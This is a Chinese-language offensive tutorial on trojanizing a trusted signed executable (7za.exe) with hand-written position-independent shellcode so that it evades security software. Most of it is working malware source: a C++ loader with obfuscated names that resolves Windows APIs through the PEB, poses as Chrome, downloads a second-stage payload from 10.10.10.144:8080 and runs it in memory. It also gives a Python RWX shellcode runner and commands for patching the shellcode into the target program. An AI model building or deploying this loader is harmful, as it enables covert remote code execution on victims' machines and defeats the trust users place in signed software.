• 本文来源为鬼屋女鬼师傅的思路

一、Patch白程序简介

  • Patch白程序,简单说就是:选一个本身干净可信的合法程序(白程序),通过打补丁(Patch)的方式,把恶意逻辑嵌入进去,让它在运行时顺带执行恶意代码
  • 这样做的目的,是利用白程序的“信任背书”(签名、声誉、行为特征等)来降低被安全软件检测到的概率
  • 基本原理:修改程序的某些关键位置(例如入口点、函数调用、空闲代码段等),插入一段跳转或直接嵌入自写的shellcode,使程序在正常执行流程中“顺路”执行恶意代码,然后再跳回原逻辑继续运行,看起来一切正常
  • 自写shellcode:把原本需要完整程序结构(如PE文件、导入表等)的加载器或功能代码,压缩改写成一段可在内存中直接执行的纯机器代码。这段shellcode其实就是精简版加载器,我们就是将加载器的核心逻辑(如 API 寻址、内存分配、Payload 解密)重写为一段位置无关代码(PIC)
  • PIC:不依赖环境,可以在内存中的任意位置执行的代码

二、开发/自写PIC Shellcode(VS+纯C++)

开发逻辑

  • 通过编译选项等把代码和只读数据全部合并到.text段,编译后从PE里把.text抠出来,得到一段加载到任意RWX内存都能直接跳进去执行的字节流
  • 之所以是.text段,是因为它是PE里唯一默认带可执行(X)属性的段,注入后跳进去才不会被DEP/NX拦截,且把所有内容收敛到这一个连续段里,dump出来就是完整自包含的字节流,不会出现跨段引用导致的偏移错乱

注意点

  • 不能使用全局变量或者用static修饰的变量:这些变量不会存储在.text段里,会被放到.data/.bss段,跨段引用且依赖加载器初始化,dump.text 后访问会崩
  • 使用API函数必须通过动态调用来获取,并且使用API函数前,必须先通过PEB找到对应的DLL:shellcode没有PE加载器修复IAT,编译期生成的导入表在注入后失效,只能运行时通过PEB动态拿到函数地址
  • 需要自定义shellcode入口点(不能是Main()函数):main由CRT启动代码调用,shellcode没有CRT,必须直接从字节流首字节开始执行,所以入口要放在.text 起始位置
  • CRT(C Runtime Library,C 运行时库)是编译器自带的底层支持代码,负责进程真正的入口(mainCRTStartup)、全局/静态变量初始化、堆管理、标准库函数(printf/malloc 等)、异常处理和退出清理
  • shellcode因为没有PE加载器、IAT和TLS环境,且CRT本身会引用.data/.rdata破坏位置无关性,所以必须禁用CRT,直接用自定义入口从字节流首字节执行
  • 所有字符串全部使用字符串数组代替:字符串字面量默认放.rdata,引用是绝对地址(重定位项),dump.text后地址失效;用字符数组(局部变量)会在栈上逐字节构造,位置无关
  • 长度在16字节以内,使用char xxx[] = {'X' ,'X', 'X'}(不能使用char xxx[] = {"xxx"})

- 长度超过16字节,使用`unsigned char xxx[] = {'X','X','X'}`

整体思路

  • 编译配置和自定义函数入口点
  • 动态加载API
  • 通过PEB找DLL(找DLL的地址,如kernel32.dll)
  • 在kernel32.dll中找到GetProcAddress()):GetProcAddress()函数可以获取指定DLL中的所有函数
  • 通过GetProcAddress()函数获取LoadLibrary():这个API函数可以把所有DLL加载到程序中
  • 后续可以通过GetProcAddress()+LoadLibrary()从指定的DLL中获取的API函数来实现加载器的逻辑
  • 补充:除了动态加载GetProcAddress(),也可以自实现GetProcAddress()
  • 所有字符串使用char数组进行存储

编译配置修改(属性)

  • 设置为Release模式

  • C/C++-->优化

  • C/C++-->代码生成

  • 链接器-->常规

  • 链接器-->清单文件

  • 链接器-->调试

  • 链接器-->高级:这一步是自定义函数入口点,要跟代码中的函数入口点保持一致

编写代码(远程加载shellcode)-AI写举例

  • comm.h
#pragma once
// =====================================================================
// PIC Shellcode 公共头:API 函数指针类型 + API 表结构体

// PIC Shellcode 不能用 IAT,所有 Win32 API 都是运行时通过 GetProcAddress
// 拿到的"裸地址"(FARPROC,本质是 void*),调用前必须 cast 成正确签名的函数指针。这里集中定义所有用到的 API 的函数指针类型,以及一个把它们打包在一起的"API 表"结构体
//

// shellcode 不能用全局变量(会落到 .data,dump .text 后失效)。把所有函数指针放进一个结构体,在入口函数栈上分配一个实例,整张 API 表就跟着栈走,全程位置无关。
// =====================================================================

#include <windows.h>
#include <wininet.h>


// ---- API 函数指针类型 ----
// 一一对应:
//   Fp_xK7n -> GetProcAddress
//   Fp_qV3m -> LoadLibraryA
//   Fp_zL9p -> VirtualAlloc
//   Fp_bN2j -> VirtualFree
//   Fp_rT5w -> VirtualProtect
//   Fp_dH8c -> InternetOpenA
//   Fp_yQ4f -> InternetConnectA
//   Fp_mE1g -> HttpOpenRequestA
//   Fp_kS6h -> HttpSendRequestA
//   Fp_aJ0v -> HttpQueryInfoA
//   Fp_uW7b -> InternetReadFile
//   Fp_pZ3k -> InternetCloseHandle
typedef FARPROC   (WINAPI* Fp_xK7n)(HMODULE, LPCSTR);
typedef HMODULE   (WINAPI* Fp_qV3m)(LPCSTR);
typedef LPVOID    (WINAPI* Fp_zL9p)(LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL      (WINAPI* Fp_bN2j)(LPVOID, SIZE_T, DWORD);
typedef BOOL      (WINAPI* Fp_rT5w)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef HINTERNET (WINAPI* Fp_dH8c)(LPCSTR, DWORD, LPCSTR, LPCSTR, DWORD);
typedef HINTERNET (WINAPI* Fp_yQ4f)(HINTERNET, LPCSTR, INTERNET_PORT, LPCSTR, LPCSTR, DWORD, DWORD, DWORD_PTR);
typedef HINTERNET (WINAPI* Fp_mE1g)(HINTERNET, LPCSTR, LPCSTR, LPCSTR, LPCSTR, LPCSTR FAR*, DWORD, DWORD_PTR);
typedef BOOL      (WINAPI* Fp_kS6h)(HINTERNET, LPCSTR, DWORD, LPVOID, DWORD);
typedef BOOL      (WINAPI* Fp_aJ0v)(HINTERNET, DWORD, LPVOID, LPDWORD, LPDWORD);
typedef BOOL      (WINAPI* Fp_uW7b)(HINTERNET, LPVOID, DWORD, LPDWORD);
typedef BOOL      (WINAPI* Fp_pZ3k)(HINTERNET);


// ---- API 表 ----
// 入口函数会在栈上分配一个 XK9M_T 实例,把上面 12 个 API 的地址逐一解析后填进对应字段,之后所有 API 调用都是 _K.f_xxxx(...) 的形式。
typedef struct _tagXK9M {
    Fp_xK7n f_xK7n;     // GetProcAddress
    Fp_qV3m f_qV3m;     // LoadLibraryA
    Fp_zL9p f_zL9p;     // VirtualAlloc
    Fp_bN2j f_bN2j;     // VirtualFree
    Fp_rT5w f_rT5w;     // VirtualProtect
    Fp_dH8c f_dH8c;     // InternetOpenA
    Fp_yQ4f f_yQ4f;     // InternetConnectA
    Fp_mE1g f_mE1g;     // HttpOpenRequestA
    Fp_kS6h f_kS6h;     // HttpSendRequestA
    Fp_aJ0v f_aJ0v;     // HttpQueryInfoA
    Fp_uW7b f_uW7b;     // InternetReadFile
    Fp_pZ3k f_pZ3k;     // InternetCloseHandle
} XK9M_T, *PXK9M_T;
  • PIC.cpp
// 整体流程
//   _g7tQx()  通过 PEB → PEB_LDR_DATA 链表找 kernel32 基址
//   _h2pBz()  扫 kernel32 EAT 取 GetProcAddress
//   _e9wKr()  入口函数(vcxproj 中 <EntryPointSymbol> 指定):
//             解析 LoadLibraryA / 内存 API / wininet 网络 API
//             HTTP GET 下载 payload → VirtualAlloc 写入 → VirtualProtect 改 R+X → 跳转执行 → VirtualFree 清理
// =====================================================================

#include "comm.h"
#include <winternl.h>


// ---------------------------------------------------------------------
// _g7tQx:通过 PEB 获取 kernel32.dll 模块基址(不依赖任何 API)
// ---------------------------------------------------------------------
ULONGLONG _g7tQx()
{
    ULONGLONG _v0 = 0;

    // 取 TEB(线程环境块)
    _TEB* _v1 = NtCurrentTeb();

    // _v2 = PEB        (TEB + 0x60 处保存 PEB 指针)
    PULONGLONG _v2 = (PULONGLONG) * (PULONGLONG)((ULONGLONG)_v1 + 0x60);

    // _v3 = PEB_LDR_DATA   (PEB + 0x18 处保存 PEB_LDR_DATA 指针)
    PULONGLONG _v3 = (PULONGLONG) * (PULONGLONG)((ULONGLONG)_v2 + 0x18);

    // _v4 = &InInitializationOrderModuleList   (LDR + 0x30,链表头)
    PULONGLONG _v4 = (PULONGLONG)((ULONGLONG)_v3 + 0x30);

    // _v5 = 链表第 1 个节点 (ntdll.dll 对应的 LDR_DATA_TABLE_ENTRY)
    // 这里 -0x20 是因为 InInitializationOrderLinks 字段在
    // LDR_DATA_TABLE_ENTRY 内部偏移 0x20,要回退到结构体起始
    PULONGLONG _v5 = (PULONGLONG) * (PULONGLONG)((ULONGLONG)_v4 - 0x20);

    // _v6 = 链表第 2 个节点 (kernelbase.dll)
    PULONGLONG _v6 = (PULONGLONG) * (PULONGLONG)((ULONGLONG)_v5);

    // _v7 = 链表第 3 个节点 (kernel32.dll)  ← 目标
    PULONGLONG _v7 = (PULONGLONG) * (PULONGLONG)((ULONGLONG)_v6);

    // entry[6] 即偏移 0x30 处的 DllBase(每项 8 字节,第 6 项 = +0x30)
    _v0 = _v7[6];

    return _v0;
}


// ---------------------------------------------------------------------
// _h2pBz:实现 GetProcAddress —— 从 kernel32 EAT 解析 GetProcAddress
// ---------------------------------------------------------------------
FARPROC _h2pBz() {

    // 从 kernel32 基址出发,按 PE 结构一路解引用(DOS 头 → NT 头 → 数据目录 → 导出表),把后面遍历要用的"函数 RVA 表 / 函数名 RVA 表 / 名字-序号映射表"这三个关键指针和"函数总数 / 命名函数数"两个计数都准备好
    FARPROC _r0 = NULL;

    ULONGLONG _a0 = _g7tQx();                                                    // kernel32 基址
    PIMAGE_DOS_HEADER _d0 = (PIMAGE_DOS_HEADER)_a0;                              // DOS 头
    PIMAGE_NT_HEADERS _n0 = (PIMAGE_NT_HEADERS)(_a0 + _d0->e_lfanew);            // NT 头
    PIMAGE_DATA_DIRECTORY _dd0 = _n0->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT; // 导出目录项
    PIMAGE_EXPORT_DIRECTORY _x0 = (PIMAGE_EXPORT_DIRECTORY)(_a0 + _dd0->VirtualAddress);           // 导出表
    DWORD _c0 = _x0->NumberOfFunctions;                                          // 函数总数
    DWORD _c1 = _x0->NumberOfNames;                                              // 命名函数数
    PDWORD _p0 = (PDWORD)(_a0 + _x0->AddressOfFunctions);                        // 函数 RVA 表
    PDWORD _p1 = (PDWORD)(_a0 + _x0->AddressOfNames);                            // 函数名 RVA 表
    PWORD _p2 = (PWORD)(_a0 + _x0->AddressOfNameOrdinals);                       // 名字 -> 函数索引

    // 在 kernel32 的导出表里按名字找到 GetProcAddress,返回它的真实内存地址:
    // 双层循环遍历 kernel32 的导出表(EAT)
    // 外层枚举每个函数索引 i,跳过空槽,记下当前函数的 RVA _o0
    // 内层枚举名字表,通过 AddressOfNameOrdinals 找到 ordinal 等于 i 的那一项,取出对应的函数名字符串,逐字节比对 "GetProcAddress";命中后用"函数 RVA + kernel32 基址"算出真实的函数虚拟地址并返回
    for (size_t i = 0; i < _c0; i++) {
        if (!_p0[i]) {
            continue;                                                            // 空槽跳过
        }
        DWORD _o0 = _p0[i];                                                      // 当前函数 RVA
        for (size_t j = 0; j < _c1; j++) {
            if (_p2[j] == i) {                                                   // 找到 i 对应的名字索引 j
                DWORD _o1 = _p1[j];
                char* _pn = (char*)(_a0 + _o1);                                  // 函数名字符串
                // 逐字节比 "GetProcAddress",避免 .rdata 字面量
                if (_pn[0] == 'G' &&
                    _pn[1] == 'e' &&
                    _pn[2] == 't' &&
                    _pn[3] == 'P' &&
                    _pn[4] == 'r' &&
                    _pn[5] == 'o' &&
                    _pn[6] == 'c' &&
                    _pn[7] == 'A' &&
                    _pn[8] == 'd' &&
                    _pn[9] == 'd' &&
                    _pn[10] == 'r' &&
                    _pn[11] == 'e' &&
                    _pn[12] == 's' &&
                    _pn[13] == 's') {
                    _r0 = (FARPROC)(_o0 + _a0);                                  // RVA + 基址 = 实际地址
                    return _r0;
                }
            }
        }
    }
}


// ---------------------------------------------------------------------
// _e9wKr:Shellcode 入口函数
// ---------------------------------------------------------------------
//
// 流程具体
//   ① bootstrap:拿到 kernel32 基址 + 动态获取的 GetProcAddress
//   ② 用 GetProcAddress 解析 kernel32 中的 LoadLibraryA、
//      VirtualAlloc、VirtualFree、VirtualProtect
//   ③ LoadLibraryA("wininet.dll") 加载 wininet(不是默认装载模块),
//      再用 GetProcAddress 解析里面用到的 7 个网络 API
//   ④ HTTP GET http://10.10.10.144:8080/test.js 下载二级 shellcode
//   ⑤ 用 HttpQueryInfoA 取 Content-Length,按长度 VirtualAlloc 申请
//      RW 内存,InternetReadFile 把响应体读进来
//   ⑥ VirtualProtect 改成 PAGE_EXECUTE_READ
//   ⑦ 把内存当函数指针跳进去执行
//   ⑧ VirtualFree 释放
void _e9wKr()
{
    // ---- 第 1 步:bootstrap,拿 kernel32 基址 + 动态加载 GetProcAddress ----
    XK9M_T _K;                                                            // API 表,栈上分配
    HMODULE _h0 = (HMODULE)_g7tQx();                                      // kernel32 基址
    _K.f_xK7n = (Fp_xK7n)_h2pBz();                                        // 真正的 GetProcAddress

    // ---- 第 2 步:用 GetProcAddress 解析 LoadLibraryA ----
    // 拿到 LoadLibraryA 后,任意 DLL 都能加载进当前进程
    char _s0[] = { 'L','o','a','d','L','i','b','r','a','r','y','A',0 };
    _K.f_qV3m = (Fp_qV3m)_K.f_xK7n(_h0, _s0);

    // ---- 远程下载目标参数----
    BYTE _b0[] = { '1', '0', '.', '1', '0', '.', '1', '0', '.', '1', '4', '4', 0 }; // 服务器 host
    WORD _b1 = 8080;                                                                 // 服务器 port
    BYTE _b2[] = { '/', 't', 'e', 's', 't', '.', 'j', 's', 0 };                      // 资源路径
    size_t _b3 = 0;                                                                  // payload 长度

    char _b4[] = { 'H','T','T','P','/','1','.','1','\0' };                           // HTTP 版本

    // ---- 第 3 步:解析 kernel32 中的 API ----
    // VirtualAlloc / VirtualFree / VirtualProtect 用来申请、释放、改属性
    char _s1[] = { 'V','i','r','t','u','a','l','A','l','l','o','c',0 };
    _K.f_zL9p = (Fp_zL9p)_K.f_xK7n(_h0, _s1);

    char _s2[] = { 'V','i','r','t','u','a','l','F','r','e','e',0 };
    _K.f_bN2j = (Fp_bN2j)_K.f_xK7n(_h0, _s2);

    char _s3[] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t',0 };
    _K.f_rT5w = (Fp_rT5w)_K.f_xK7n(_h0, _s3);


    // ---- 第 4 步:加载 wininet.dll,解析里面 7 个网络 API ----
    // wininet 不是进程默认装载的模块,必须先 LoadLibraryA 把它拉进来,
    // 之后才能从它的导出表中拿到 InternetXxx / HttpXxx 函数地址
    char _s4[] = { 'w', 'i', 'n', 'i', 'n', 'e', 't', '.', 'd', 'l', 'l', 0 };

    unsigned char _s5[] = { 'I', 'n', 't', 'e', 'r', 'n', 'e', 't', 'O', 'p', 'e', 'n', 'A', 0 };
    _K.f_dH8c = (Fp_dH8c)_K.f_xK7n(_K.f_qV3m(_s4), (LPCSTR)_s5);

    unsigned char _s6[] = { 'I', 'n', 't', 'e', 'r', 'n', 'e', 't', 'C', 'o', 'n', 'n', 'e', 'c', 't', 'A', 0 };
    _K.f_yQ4f = (Fp_yQ4f)_K.f_xK7n(_K.f_qV3m(_s4), (LPCSTR)_s6);

    unsigned char _s7[] = { 'H', 't', 't', 'p', 'O', 'p', 'e', 'n', 'R', 'e', 'q', 'u', 'e', 's', 't', 'A', 0 };
    _K.f_mE1g = (Fp_mE1g)_K.f_xK7n(_K.f_qV3m(_s4), (LPCSTR)_s7);

    unsigned char _s8[] = { 'H', 't', 't', 'p', 'S', 'e', 'n', 'd', 'R', 'e', 'q', 'u', 'e', 's', 't', 'A', 0 };
    _K.f_kS6h = (Fp_kS6h)_K.f_xK7n(_K.f_qV3m(_s4), (LPCSTR)_s8);


    unsigned char _s9[] = { 'H','t','t','p','Q','u','e','r','y','I','n','f','o','A',0 };
    _K.f_aJ0v = (Fp_aJ0v)_K.f_xK7n(_K.f_qV3m(_s4), (LPCSTR)_s9);

    unsigned char _sA[] = { 'I', 'n', 't', 'e', 'r', 'n', 'e', 't', 'R', 'e', 'a', 'd', 'F', 'i', 'l', 'e', 0 };
    _K.f_uW7b = (Fp_uW7b)_K.f_xK7n(_K.f_qV3m(_s4), (LPCSTR)_sA);

    unsigned char _sB[] = { 'I', 'n', 't', 'e', 'r', 'n', 'e', 't', 'C', 'l', 'o', 's', 'e', 'H', 'a', 'n', 'd', 'l', 'e', 0 };
    _K.f_pZ3k = (Fp_pZ3k)_K.f_xK7n(_K.f_qV3m(_s4), (LPCSTR)_sB);

    // ---- 第 5 步:InternetOpen —— 创建 HTTP 会话句柄 ----
    // User-Agent 伪装成 Chrome
    HINTERNET _q0 = NULL;
    unsigned char _sC[] = {
    'M', 'o', 'z', 'i', 'l', 'l', 'a', '/', '5', '.', '0', ' ',
    '(', 'W', 'i', 'n', 'd', 'o', 'w', 's', ' ', 'N', 'T', ' ',
    '1', '0', '.', '0', ';', ' ', 'W', 'i', 'n', '6', '4', ';',
    ' ', 'x', '6', '4', ')', ' ', 'A', 'p', 'p', 'l', 'e', 'W',
    'e', 'b', 'K', 'i', 't', '/', '5', '3', '7', '.', '3', '6',
    ' ', '(', 'K', 'H', 'T', 'M', 'L', ',', ' ', 'l', 'i', 'k',
    'e', ' ', 'G', 'e', 'c', 'k', 'o', ')', ' ', 'C', 'h', 'r',
    'o', 'm', 'e', '/', '1', '4', '7', '.', '0', '.', '0', '.',
    '0', ' ', 'S', 'a', 'f', 'a', 'r', 'i', '/', '5', '3', '7',
    '.', '3', '6', 0
    };
    _q0 = _K.f_dH8c((LPCSTR)_sC, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    if (!_q0) {
        return;
    }

    // ---- 第 6 步:InternetConnect —— 连接远程服务器 ----
    HINTERNET _q1 = NULL;
    _q1 = _K.f_yQ4f(_q0, (LPCSTR)_b0, _b1, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
    if (!_q1) {
        _K.f_pZ3k(_q0);
        return;
    }

    // ---- 第 7 步:HttpOpenRequest —— 构造 GET 请求 ----
    HINTERNET _q2 = NULL;
    char _sD[] = { 'G', 'E', 'T', 0 };
    _q2 = _K.f_mE1g(_q1, _sD, (LPCSTR)_b2, _b4, NULL, 0, INTERNET_FLAG_DONT_CACHE, 0);
    if (!_q2) {
        _K.f_pZ3k(_q1);
        _K.f_pZ3k(_q0);
        return;
    }

    // ---- 第 8 步:HttpSendRequest —— 发出请求 ----
    BOOL _t0 = FALSE;
    _t0 = _K.f_kS6h(_q2, NULL, 0, 0, 0);
    if (!_t0) {
        _K.f_pZ3k(_q2);
        _K.f_pZ3k(_q1);
        _K.f_pZ3k(_q0);
        return;
    }

    // ---- 第 9 步:HttpQueryInfo 取 Content-Length,确定缓冲区大小 ----
    // HTTP_QUERY_FLAG_NUMBER 让 wininet 直接把字符串解析成 DWORD 返回
    BOOL _t1 = FALSE;
    DWORD _n1 = 0;
    DWORD _n2 = sizeof(DWORD);
    _t1 = _K.f_aJ0v(_q2, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &_n1, &_n2, NULL);
    if (!_t1) {
        _K.f_pZ3k(_q2);
        _K.f_pZ3k(_q1);
        _K.f_pZ3k(_q0);
        return;
    }
    _b3 = _n1 + 1;                                                                  // +1 留 0 终止位

    // ---- 第 10 步:VirtualAlloc 申请 RW 内存 + InternetReadFile 读 payload ----
    // 先申请成 PAGE_READWRITE,写完之后再改成 EXECUTE_READ
    LPVOID _m0 = NULL;
    _m0 = _K.f_zL9p(NULL, _b3, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    DWORD _n3 = 0;
    if (!_K.f_uW7b(_q2, _m0, _b3, &_n3)) {
        _K.f_pZ3k(_q2);
        _K.f_pZ3k(_q1);
        _K.f_pZ3k(_q0);
        return;
    }

    // 句柄用完即关
    _K.f_pZ3k(_q2);
    _K.f_pZ3k(_q1);
    _K.f_pZ3k(_q0);

    // ---- 第 11 步:VirtualProtect 把内存改成可执行 ----
    // 用 PAGE_EXECUTE_READ 而不是 RWX:写阶段是 RW,执行阶段去掉 W,
    DWORD _n4 = 0;
    if (!_K.f_rT5w(_m0, _b3, PAGE_EXECUTE_READ, &_n4)) {
        _K.f_bN2j(_m0, 0, MEM_RELEASE);
        return;
    }

    // ---- 第 12 步:跳转执行二级 shellcode ----
    // 把内存地址 cast 成 void(*)() 然后调用 = 控制流跳到 payload 首字节
    typedef void(*_F0)();
    _F0 _f0 = (_F0)_m0;
    _f0();

    // ---- 第 13 步:执行结束清理 ----
    _K.f_bN2j(_m0, 0, MEM_RELEASE);
}
  • 代码整体逻辑
┌─────────────────────────────────────────────────────────────────┐
│                    编译期约束 (vcxproj 配置)                     │
│  /ENTRY:_e9wKr   /NODEFAULTLIB   /GS-   合并段到 .text   去异常  │
│  目的:产物 .text 自包含、无 IAT、无 CRT、无重定位                │
└─────────────────────────────────────────────────────────────────┘
                              │
                              ▼
┌─────────────────────────────────────────────────────────────────┐
│  comm.h:定义 12 个 API 函数指针类型 + 打包成 XK9M_T 结构体      │
│  (不能用全局变量,运行时在栈上 new 一个 XK9M_T 实例承载所有 API)│
└─────────────────────────────────────────────────────────────────┘
                              │
                              ▼
┌─────────────────────────────────────────────────────────────────┐
│  入口 _e9wKr() 启动                                              │
└─────────────────────────────────────────────────────────────────┘
                              │
                              ▼
   ┌──────────────────────────────────────────────────────┐
   │  ① 拿 kernel32 基址:_g7tQx()                         │
   │     TEB+0x60 → PEB+0x18 → LDR+0x30 → 链表第3项 → +0x30│
   │     不调用任何 API,纯指针偏移解引用                  │
   └──────────────────────────────────────────────────────┘
                              │
                              ▼
   ┌──────────────────────────────────────────────────────┐
   │  ② 动态加载 GetProcAddress:_h2pBz()                    │
   │     DOS头 → NT头 → 导出表 → 双层循环遍历 EAT          │
   │     逐字节比 'G''e''t''P'... 命中后 RVA+基址=函数地址 │
   │     (鸡生蛋第一步:第一个 API 必须靠手写解析 EAT)   │
   └──────────────────────────────────────────────────────┘
                              │
                              ▼
   ┌──────────────────────────────────────────────────────┐
   │  ③ 用 GetProcAddress 解 LoadLibraryA                  │
   │     char s[] = {'L','o','a','d',...,0};               │
   │     _K.f_qV3m = GetProcAddress(kernel32, s)           │
   │     字符串栈上构造,避免落 .rdata                     │
   └──────────────────────────────────────────────────────┘
                              │
                              ▼
   ┌──────────────────────────────────────────────────────┐
   │  ④ 解 kernel32 中的内存 API                           │
   │     VirtualAlloc / VirtualFree / VirtualProtect       │
   └──────────────────────────────────────────────────────┘
                              │
                              ▼
   ┌──────────────────────────────────────────────────────┐
   │  ⑤ LoadLibraryA("wininet.dll") + 解 7 个网络 API      │
   │     wininet 不是默认装载,必须先拉进进程              │
   │     再用 GetProcAddress 取 InternetXxx / HttpXxx      │
   └──────────────────────────────────────────────────────┘
                              │
                              ▼
   ┌──────────────────────────────────────────────────────┐
   │  至此 XK9M_T 表填满,所有 API 就位 → 进入业务逻辑     │
   └──────────────────────────────────────────────────────┘
                              │
                              ▼
┌─────────────────────────────────────────────────────────────────┐
│                   业务逻辑:HTTP 下载并执行 payload              │
└─────────────────────────────────────────────────────────────────┘
                              │
                              ▼
   InternetOpenA(伪装 Chrome UA)
            │
            ▼
   InternetConnectA(10.10.10.144 : 8080)
            │
            ▼
   HttpOpenRequestA("GET", "/test.js", DONT_CACHE)
            │
            ▼
   HttpSendRequestA
            │
            ▼
   HttpQueryInfoA(CONTENT_LENGTH) ──→ 得到 payload 长度
            │
            ▼
   VirtualAlloc(NULL, len, COMMIT|RESERVE, PAGE_READWRITE)
            │  申请 RW 内存(不直接 RWX)
            ▼
   InternetReadFile → 把响应体写进 RW 内存
            │
            ▼
   关闭三个 HINTERNET 句柄
            │
            ▼
   VirtualProtect(mem, len, PAGE_EXECUTE_READ)
            │  改成 R+X,全程不出现 RWX 可疑页
            ▼
   ((void(*)())mem)()   ──→ 控制流跳到二级 shellcode 首字节
            │
            ▼
   VirtualFree(MEM_RELEASE) 清理收尾
                              │
                              ▼
┌─────────────────────────────────────────────────────────────────┐
│            编译 → 从 PE 抠出 .text → 得到 PIC Shellcode 字节流   │
│            注入任意进程 RWX 内存 → 跳进去即执行整套逻辑           │
└─────────────────────────────────────────────────────────────────┘

提取shellcode

  • 将PIC项目代码打包成exe以后,通过python提取shellcode
python extract.py -f PIC.exe -o PIC.bin

// -f:输入文件
// -o:输出文件(shellcode)

测试shellcode能否使用

  • 通过python编写简易的Loader进行测试
import ctypes, sys

with open(sys.argv[1], "rb") as f:
    sc = f.read()

VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
VirtualAlloc.restype = ctypes.c_void_p
RtlMoveMemory = ctypes.windll.kernel32.RtlMoveMemory
CreateThread  = ctypes.windll.kernel32.CreateThread
WaitForSingleObject = ctypes.windll.kernel32.WaitForSingleObject

addr = VirtualAlloc(None, len(sc), 0x3000, 0x40)
RtlMoveMemory(ctypes.c_void_p(addr), sc, len(sc))
h = CreateThread(None, 0, ctypes.c_void_p(addr), None, 0, ctypes.byref(ctypes.c_ulong(0)))
WaitForSingleObject(h, -1)
  • 使用方法
python LoaderTest.py PIC.bin

三、Patch白程序

  • 编译命令
go env -w GOPROXY=https://goproxy.cn,direct
go mod init BinHol
go mod tidy
go build -o main.exe main.go
  • 两种方式
  • Patch程序入口点
  • Patch程序内的其他函数
  • 使用方法
// Ptach程序入口点
main.exe -sign entrypoint .\7za.exe .\PIC.bin

// Patch程序内的其他函数
main.exe -sign function .\7za.exe .\PIC.bin

-sign:保留数字签名,但是Ptach后数字签名会失效
entrypoint:Ptach程序入口点
function:Patch程序内的其他函数
.\7za.exe:需要Ptach的程序
.\PIC.bin:开发并提取的shellcode文件

  • 验证:直接运行Patch后的exe

  • 补充:该工具在Patch DLL时,会提示只能Patch EXE,此时可以把.dll后缀改为.exe,Ptach完以后再改回.dll即可